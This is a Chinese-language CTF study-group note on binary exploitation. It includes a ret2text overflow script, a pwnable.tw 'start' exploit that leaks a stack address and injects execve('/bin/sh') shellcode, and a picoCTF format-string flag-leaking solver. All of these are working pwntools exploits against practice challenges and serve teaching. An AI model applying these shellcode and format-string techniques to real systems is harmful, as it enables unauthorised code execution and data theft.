# NCtfU讀書會筆記-Pwn ###### tags: `CTF` ## 3/9 - Basic https://drive.google.com/open?id=14VE-uwBXCnAvMhGH7NKVTTPqhTDZLGUM 1. ret2text - objdump -M intel -d ret2text 看組語 -> 呼叫了gets,因此有buffer overflow的漏洞 ![](https://i.imgur.com/nqbkToz.png) - 往上看還有一個function叫sh,因此目標就是把ret addr改到這裡 ![](https://i.imgur.com/yFab1YU.png) - 但要注意system有0x10 alignment的問題 (也就是到call system時如果rsp不是指向0結尾就會無法執行) (原因是正常來說透過call system(=push rip)跳過來的話,stack會先多了rip,此時再push rbp,總共push了0x10個byte,但現在不是透過call system跳過來的,但還是執行了push rbp,stack變成只會多0x8個byte,變成不是0結尾) ```python= #!/usr/bin/env python from pwn import * context.arch = 'amd64' r = process('./ret2text') sh = 0x4006e8 padding = 'a'*18 # 0x10 alignment -> 跳過push rbp的動作 r.sendline(padding + p64(sh+0x1)) #r.sendline(padding + p64(sh) + p64(sh)) r.interactive() ``` 2. 小技巧講解: - 如果執行檔有計時器(ex alarm(3)),可以用把alarm改成isnan(因為字數一樣,參數type跟數量也一樣) ``` vim: %s/alarm/isnan/g - sed-i s/alarm/isnan/g [elf name] - LD_PRELOAD # %s :取代/置換功能 ``` ## 3/23 ### 1. pwnable.tw[](https://pwnable.tw/challenge/#1) -- start - 是一個是一個32bit file,沒有開任何保護機制 ![](https://i.imgur.com/5J09SvA.png) - 先執行一次: 可以輸東西,輸太多會segmentation fault,一臉欠buffer overflow ![](https://i.imgur.com/5RK4Lpi.png) - objdump看一下: ```c= Disassembly of section .text: 08048060 <_start>: 8048060: 54 push esp 8048061: 68 9d 80 04 08 push 0x804809d 8048066: 31 c0 xor eax,eax 8048068: 31 db xor ebx,ebx 804806a: 31 c9 xor ecx,ecx 804806c: 31 d2 xor edx,edx 804806e: 68 43 54 46 3a push 0x3a465443 #string of "CTF:" 8048073: 68 74 68 65 20 push 0x20656874 #string of "the " 8048078: 68 61 72 74 20 push 0x20747261 #string of "art " 804807d: 68 73 20 73 74 push 0x74732073 #string of "s st" 8048082: 68 4c 65 74 27 push 0x2774654c #string of "Let'" 8048087: 89 e1 mov ecx,esp 8048089: b2 14 mov dl,0x14 804808b: b3 01 mov bl,0x1 804808d: b0 04 mov al,0x4 804808f: cd 80 int 0x80 8048091: 31 db xor ebx,ebx 8048093: b2 3c mov dl,0x3c 8048095: b0 03 mov al,0x3 8048097: cd 80 int 0x80 8048099: 83 c4 14 add esp,0x14 804809c: c3 ret 0804809d <_exit>: 804809d: 5c pop esp 804809e: 31 c0 xor eax,eax 80480a0: 40 inc eax 80480a1: cd 80 int 0x80 ``` :::info x86 system call的calling convention: 1. eax放system call number 2. 參數依序放在以下暫存器: ebx, ecx, edx, esi, edi, ebp ::: - 執行到第14行時的stack長這樣 ![](https://i.imgur.com/FRyokI3.png) - 第15-19行是呼叫syscall write(eax=0x4) `Note: write(int fd, const void *buf, size_t count)` => sys_write( 0x1, esp, 0x14) - 第20-23行是呼叫syscall read(eax=0x3) `Note: read(int fd, void *buf, size_t count)` => sys_read(0, esp, 0x3c) =>最多可以寫0x3c=60byte :::info 因此可以知道程式執行流程: 1. print出在stack上的0x14(20byte)(Let's start the CTF:) 2. read user輸入(可以overflow) 3. ret並結束執行 ::: - 所以為了達成overflow,需要放shellcode在stack上,並把ret addr蓋成shellcode位置 問題是因為題目有開ASLR(大概),stack每次執行位置都不同 需要leak stack才可以知道ret addr應該改成甚麼 :::success 因此我們要讓執行流程變成這樣: 1. print出Let's start the CTF: 2. read(0,esp, 0x3c) => payload1 = 20byte junk + 第15行mov ecx, esp的addr=0x8048087 3. add esp, 0x14 => esp + 0x14指到old_esp 4. 回到第15行 5. write(0, esp, 0x14) => leak出old_esp 6. read(0, esp, 0x3c) => 輸入20byte junk + (old_esp+0x14) + shellcode 7. esp' = esp + 0x14 8. ret = pop eip = old_esp+0x14 9. 執行shellcode get shell ![](https://i.imgur.com/y0JCOzq.png) ::: - exploit.py ```python= from pwn import * context.arch = 'i386' r = remote("chall.pwnable.tw", 10000) #r = process("/home/minyeon/CTF/pwnable.tw/start") #gdb.attach(r) r.recvuntil(':') sh = asm(shellcraft.execve('/bin/sh')) #sh = shellcraft.sh() #這個會失敗因為太肥,read只讀60byte不夠 payload1 = flat('a'*0x14, 0x8048087) r.send(payload1) old_esp = u32(r.recv(4)) print("Leaked esp: ", hex(old_esp)) ret_addr = old_esp + 0x14 print("return address: ", hex(ret_addr)) payload2 = flat('a'*0x14, ret_addr, sh) print(payload2) r.send(payload2) r.interactive() ``` ## 5/18 Format string - 所有printf家族都有這個漏洞(ex. sprintf, snprintf, fprintf,...) - 發生在把變數直接丟進printf裡面執行,造成任意讀寫漏洞 ```c= Ex. int a, b, c 1. 正常的printf printf("%p %p %p", &a, &b, &c ) 2. 有漏洞的printf -> 故意不給參數 printf("%p %p %p") ``` - Ex. ```c= #include<stdio.h> void main(){ int a, b, c; printf("General printf : %p %p %p\n", &a, &b, &c); printf("FMT printf :\n\trsi : %p\n\trdx : %p\n\trcx : %p\n\tr8 : %p\n\tr9 : %p\n\trsp : %p\n\trsp+8 : %p\n"); printf("8th parameter : %7$p\n"); printf("dword of 8th para: %7$x\n"); // %x:4 byte printf("word of 8th para: %7$hx\n"); // h : half printf("byte of 8th para: %7$hhx\n"); } ``` ![](https://i.imgur.com/eZUpAlf.png) - 練習題: picoCTF echo 1. 先看assembly, 用fget所以沒有bof漏洞 ```python= 80486c9: 68 5f 88 04 08 push 0x804885f # x/s 0x804885f > 'r' 80486ce: 68 61 88 04 08 push 0x8048861 # x/s 0x8048861 > 'flag.txt' 80486d3: e8 e8 fd ff ff call 80484c0 <fopen@plt> 80486d8: 83 c4 10 add esp,0x10 80486db: 89 85 70 ff ff ff mov DWORD PTR [ebp-0x90], # flag.txt的fd放在ebp-0x90 80486e1: 83 bd 70 ff ff ff 00 cmp DWORD PTR [ebp-0x90],0x0 80486e8: 75 1a jne 8048704 <main+0x109> 80486ea: 83 ec 0c sub esp,0xc 80486ed: 68 6c 88 04 08 push 0x804886c 80486f2: e8 89 fd ff ff call 8048480 <puts@plt> 80486f7: 83 c4 10 add esp,0x10 80486fa: 83 ec 0c sub esp,0xc 80486fd: 6a 00 push 0x0 80486ff: e8 8c fd ff ff call 8048490 <exit@plt> 8048704: 83 ec 04 sub esp,0x4 8048707: ff b5 70 ff ff ff push DWORD PTR [ebp-0x90] 804870d: 6a 40 push 0x40 804870f: 8d 45 b4 lea eax,[ebp-0x4c] 8048712: 50 push eax 8048713: e8 48 fd ff ff call 8048460 <fgets@plt> # fget(var_name=ebp-0x4c, size=0x40, fd=ebp-0x90) 8048718: 83 c4 10 add esp,0x10 804871b: 83 ec 0c sub esp,0xc 804871e: 68 e1 88 04 08 push 0x80488e1 8048723: e8 28 fd ff ff call 8048450 <printf@plt> 8048728: 83 c4 10 add esp,0x10 804872b: a1 40 a0 04 08 mov eax,ds:0x804a040 8048730: 83 ec 04 sub esp,0x4 8048733: 50 push eax 8048734: 6a 40 push 0x40 8048736: 8d 85 74 ff ff ff lea eax,[ebp-0x8c] 804873c: 50 push eax 804873d: e8 1e fd ff ff call 8048460 <fgets@plt> # fget(ebp-0x8c, 0x40, stdin) 8048742: 83 c4 10 add esp,0x10 8048745: 83 ec 0c sub esp,0xc 8048748: 8d 85 74 ff ff ff lea eax,[ebp-0x8c] 804874e: 50 push eax 804874f: e8 fc fc ff ff call 8048450 <printf@plt> # printf(ebp-0x8c) >> fmt vul!!!! ``` 2. 執行看看 >> 真的有fmt漏洞 ![](https://i.imgur.com/SKbFxu2.png) 3. 寫個python script來一個一個試 ```python= from pwn import * for i in range(10): r = remote("2018shell.picoctf.com", 34802) r.recvuntil(">") r.sendline("%{}$s".format(i)) s = r.recvline() if 'pico' in s: #這邊如果用python3會錯,因為recvline讀出來是byte like object,無法跟str做比較 print(s) break ``` 4. 用python2執行 ![](https://i.imgur.com/wTA10u4.png) - 把可控的memory address放在開頭就可以對任何可控位置做任意讀寫 ```c= printf("/x78/x56/x34/x12") ```